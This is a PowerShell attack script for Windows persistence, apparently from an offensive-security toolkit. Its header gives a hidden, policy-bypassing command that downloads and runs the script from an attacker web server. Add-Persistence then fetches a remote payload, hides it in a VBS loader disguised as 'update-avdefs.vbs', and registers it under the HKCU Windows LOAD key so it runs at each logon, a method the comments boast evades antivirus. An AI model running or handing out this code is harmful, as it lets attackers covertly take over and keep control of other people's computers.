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# powershell-persistence.ps1
# Author: @curi0usJack
#
# Assumes your target has the ability to download files
#
# 1) Use Unicorn to generate your encoded powershell command. This command will be used for persistence when the user logs in.
# 2) Save to a text file somewhere you can download it.
# 3) Call this from your shell:
# powershell.exe -window hidden -exec bypass -noni -c "IEX (New-Object Net.WebClient).DownloadString('http://WEBSERVER/powershell-persist.ps1'); Add-Persistence http://WEBSERVER/powershell_attack.txt"
#
# Kudos to @slobtresix for the initial model. Modified to work directly with unicorn payloads.
#
#
function Add-Persistence()
{
param
(
[parameter(Mandatory=$true)]
[string]
$payloadurl
)
# Default saving the payload to the %TEMP% directory
$tmpdir = $env:APPDATA
# Change this if desired.
$payloadvbsloaderpath = "$tmpdir\update-avdefs.vbs"
# Determine if user is admin. Not required, but nice to know.
$admin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if ($admin -eq $true)
{ Write-Host "[+] User is a local administrator!" }
else
{ Write-Host "[-] User is not a local administrator." }
# Download and verify the payload.
Write-Host "[+] Downloading payload $payloadurl"
$payload = (New-Object Net.WebClient).DownloadString($payloadurl)
$payloadlength = $payload.Length
if ($payloadlength -gt 0)
{ Write-Host "[+] Payload length: $payloadlength bytes" }
else
{
Write-Host "[!] Payload length: 0 characters. Is the web server up?"
return
}
# Create the VBS file and insert the powershell command from unicorn.
Write-Host "[+] Creating VBS loader."
$vbs = "Set oShell = CreateObject( ""WScript.Shell"" )`r`n"
$vbs += "ps = ""$payload""`r`n"
$vbs += "oShell.run(ps),0,true"
$vbs | Out-File $payloadvbsloaderpath -Force
# Mark the file as hidden.
Write-Host "[+] Marking $payloadvbsloaderpath as Hidden."
$fileObj = get-item $payloadvbsloaderpath -Force
$fileObj.Attributes="Hidden"
# Set the LOAD key. Haven't been caught by AV yet. ;-)
Write-Host "[+] Updating registry with a LOAD key"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" -Name LOAD -Value $payloadvbsloaderpath
Write-Host "[+] Done!"
}
function Remove-Persistence()
{
$appdir = $env:APPDATA
$payload = "$appdir\update-avdefs.vbs"
if (Test-Path $payload)
{
Remove-Item -Path $payload -Force
Write-Host "[+] Found and removed $payload."
}
else
{ Write-Host "[-] $payload not found." }
$reg = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows"
if ($reg.LOAD -eq $payload)
{
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" -Name LOAD
Write-Host "[+] Found and removed LOAD registry key."
}
else
{ Write-Host "[-] LOAD registry key not found." }
Write-Host "[+] Done."
}